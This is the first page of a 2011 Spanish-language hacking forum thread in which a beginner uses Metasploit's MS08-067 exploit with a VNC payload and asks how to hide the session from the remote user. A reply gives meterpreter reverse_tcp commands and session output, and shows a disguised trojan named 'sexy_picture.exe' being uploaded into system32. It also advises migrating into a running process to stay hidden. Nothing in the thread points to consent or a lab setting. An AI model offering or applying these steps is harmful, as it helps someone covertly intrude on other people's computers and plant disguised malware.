elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Duda con Metasploit y Payload vncinject.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Duda con Metasploit y Payload vncinject.  (Leído 11,557 veces)
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Duda con Metasploit y Payload vncinject.
« en: 29 Abril 2011, 22:11 pm »

Hola que tal, soy nuevo acá, estoy iniciando en este magnífico mundo del hack, he avanzado un poco gracias a esta gran comunidad.
Bien pues quisiera hacer una pregunta, ojala que no ofenda por mi novatez.
Utilizo el exploit: Windows/smb/ms08_067_netapi.
Y el payload: windows/vncinject/bind_tcp.
Esto para obtener gráficamente la PC remota.
Todo va perfecto solo que en la PC remota aparece todo lo que yo hago y la ventana de metasploit, y obviamente si la cierra, adiós intrusión.
Mi pregunta es: hay alguna forma de hacer esto pero oculto?
Es decir ocultar la ventana de metasploit y que no se vea todo lo que se realiza desde mi PC?
Gracias de antemano y disculpen si es una pregunta estúpida.
Saludos
En línea

CloudswX


Desconectado Desconectado

Mensajes: 806


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #1 en: 4 Mayo 2011, 15:53 pm »

Pues te dire..

En mi caso particular primero utilizo el payload METERPRETER:
Código:
> set PAYLOAD windows/meterpreter/reverse_tcp

Luego de esto configuro todas mis variables:
Código:
> set RHOST 192.168.0.4
Código:
> set LHOST 192.168.0.5
Código:
> set TARGET 0

Y hecho esto exploto:
Código:
Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP Service Pack 2 - lang:Spanish
Selected Target: Windows XP SP2 Spanish (NX)
Triggering the vulnerability...
Sending stage (723456 bytes)
Meterpreter session 1 opened (192.168.0.4:4367 -> 192.168.0.5:4444)
meterpreter >

Una vez conseguida la sesion Meterpreer le subo un troyano de conexion inversa bien compilado haciendo uso de los comandos Upload y Download que sirven para subir y bajar archivos de la maquina remota.

Código:
meterpreter > upload sexy_picture.exe c:\\windows\\system32
[*] uploading  : sexy_picture.exe -> c:\windows\system32
[*] uploaded   : sexy_picture.exe -> c:\windows\system32\sexy_picture.exe
meterpreter >

Y despues que tienes un troyano dentro no necesitas mas nada. Asi es como lo hago en mi casa y nunca le ha saltado nada a la ventana de la pc remota.



En línea



 «Dios no juega a los dados, usa /dev/random.»
twitter: @cloudswx
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #2 en: 4 Mayo 2011, 19:38 pm »

Que tal, Muchas gracias por responder, se como subir y bajar archivos desde meterpreter pero mi problema es que no tengo nada que subirle a esa PC, no tengo algún troyano, o virus, es por eso que preferí usar la opción VNC que trae metasploit, mi único problema es que en la PC remota aparece la ventana de meterpreter, habrá alguna forma de evitar que aparezca?, no sé, desde la consola de comandos, desde el registro o alguna opción del mismo payload?
De verdad muchas gracias por tomarte la molestia de responder. Gracias
En línea

CloudswX


Desconectado Desconectado

Mensajes: 806


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #3 en: 5 Mayo 2011, 03:47 am »

Cuando consigas sesion con el meterpreter migra a algun proceso activo en la pc remota, con esto es suficiente para que estes camuflajeado mientras operas.
En línea



 «Dios no juega a los dados, usa /dev/random.»
twitter: @cloudswx
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #4 en: 5 Mayo 2011, 18:17 pm »

Muchas gracias una vez más por tu respuesta, quieres decir que si migro por ejemplo a winlogon o al mismo explorer desde el meterpreter ya no saldrá la ventana del metasploit?Disculpa la ignorancia.
También probé a cerrar de inmediato dicha ventana y va perfecto, no aparece ningún proceso sospechoso, pero mi problema sigue siendo que salta esa ventana, lo cual levantara sospechas en seguida.
Gracias de verdad por tus respuestas.
En línea

CloudswX


Desconectado Desconectado

Mensajes: 806


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #5 en: 6 Mayo 2011, 07:37 am »

Muchas gracias una vez más por tu respuesta

Pues para estamos hermano, para compartir los conocimientos..

Prueba migrando a algun proceso y luego inyecta el vcn..
En línea



 «Dios no juega a los dados, usa /dev/random.»
twitter: @cloudswx
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #6 en: 6 Mayo 2011, 22:11 pm »

Gracias de verdad amigo, por gente como tú, principiantes como yo podemos avanzar e ilusionarnos con alguna vez ayudar a alguien más como lo han hecho con nosotros.
En cuanto a lo de migrar el proceso de meterpreter a algún otro no me ha funcionado, migre al explorer.exe y sigue apareciendo la ventana de metasploit.
No sé si este haciendo algo mal, pero si migro por ejemplo a explorer.exe lo que estoy migrando es el proceso meterpreter no? O me faltara algún paso?
Hago lo siguiente una vez en meterpreter:
meterpreter > migrate 1572
  • Migrating to 1572...
  • Migration completed successfully.
meterpreter > exit
  • Meterpreter session 1 closed.  Reason: User exit
msf exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp
payload => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > exploit
Pienso que estoy mal en salir de meterpreter, porque no tendría caso migrarlo y salir no?
Gracias por tu tiempo amigo.
« Última modificación: 6 Mayo 2011, 22:43 pm por oliver91 » En línea

CloudswX


Desconectado Desconectado

Mensajes: 806


"La física es el sistema operativo del Universo"


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #7 en: 10 Mayo 2011, 01:56 am »

Pues decirte que es exactamente eso que piensas, no tiene sentido migrar de proceso para cerrar posteriormente el meterpreter.

Te dire que el vnc funciona de forma similar a un troyano primero debes INSTALAR una parte del VNC que hara de server. Cuando usas ese payload de vnc realmente estas abriendo una sesion sobre el proceso de Remote Desktop por lo que te salta esa ventana.

Chequeate este video tutorial de Alex_shell_root que en mi opinion es uno de los mas iluminados con el metasploit.

http://www.youtube.com/watch?v=k30889rxcOQ

Ojala te sirva de algo.
« Última modificación: 10 Mayo 2011, 15:30 pm por CloudswX » En línea



 «Dios no juega a los dados, usa /dev/random.»
twitter: @cloudswx
oliver91

Desconectado Desconectado

Mensajes: 10


Disfrutando el aprendizaje de las cosas inusuales.


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #8 en: 10 Mayo 2011, 20:32 pm »

Gracias amigo y mira que lo del video es exactamente lo que hago, pero esa ventana que dice Metasploit Courtesy Shell, es mi problema. Bueno amigo de verdad muchas gracias por tu interés y mejor empiezo a buscar otra manera de ingresar sin que se puedan dar cuenta, o hacer todo desde una consola remota.
Muchas gracias por tu ayuda!!!!!!!!!!!!!!
En línea

bernolas

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Duda con Metasploit y Payload vncinject.
« Respuesta #9 en: 30 Mayo 2011, 15:36 pm »

A ver que os parece

http://www.megaupload.com/?d=VTL485XK
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines